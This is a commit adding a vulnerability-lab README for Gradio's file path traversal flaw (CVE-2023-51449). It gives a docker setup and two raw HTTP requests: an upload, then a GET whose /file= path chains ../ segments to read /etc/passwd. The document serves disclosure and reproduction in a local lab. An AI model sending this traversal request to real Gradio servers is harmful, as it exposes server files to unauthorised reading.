first commit

gradio/CVE-2023-51449/README.md

@@ -0,0 +1,55 @@
+# Gradio File Path Traversal (CVE-2023-51449)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Gradio is a Python library that allows users to quickly build visual web interfaces for machine learning models without writing any front-end code.
+
+In Gradio versions 4.11 and below, when authentication is not enabled, an attacker who knows the file path can use a public URL to access arbitrary files on the server running the Gradio application.
+
+References:
+
+- <https://github.com/gradio-app/gradio/pull/6833>
+- <https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2>
+
+## Environment Setup
+
+Execute the following command to start an application built with Gradio 4.10.0:
+
+```
+docker compose up -d
+```
+
+After the server starts, authentication is disabled by default. You can access the application at `http://your-ip:7860`.
+
+## Vulnerability Reproduction
+
+First, use the upload interface to upload any file and obtain an accessible file path.
+
+```
+POST /upload HTTP/1.1
+Host: localhost:7860
+Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311
+
+-----------------------------250033711231076532771336998311
+Content-Disposition: form-data; name="files";filename="okmijnuhbygv"
+Content-Type: application/octet-stream
+
+123456
+-----------------------------250033711231076532771336998311--
+
+```
+
+![](1.png)
+
+Once you have an accessible file path, use the `/file` interface with directory traversal to read arbitrary files from the server, such as `/etc/passwd`:
+
+```
+GET /file=/tmp/gradio/7c4a8d09ca3762af61e59520943dc26494f8941b/../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
+Host: localhost:7860
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36
+Connection: close
+Accept-Encoding: gzip
+
+```
+
+![](2.png)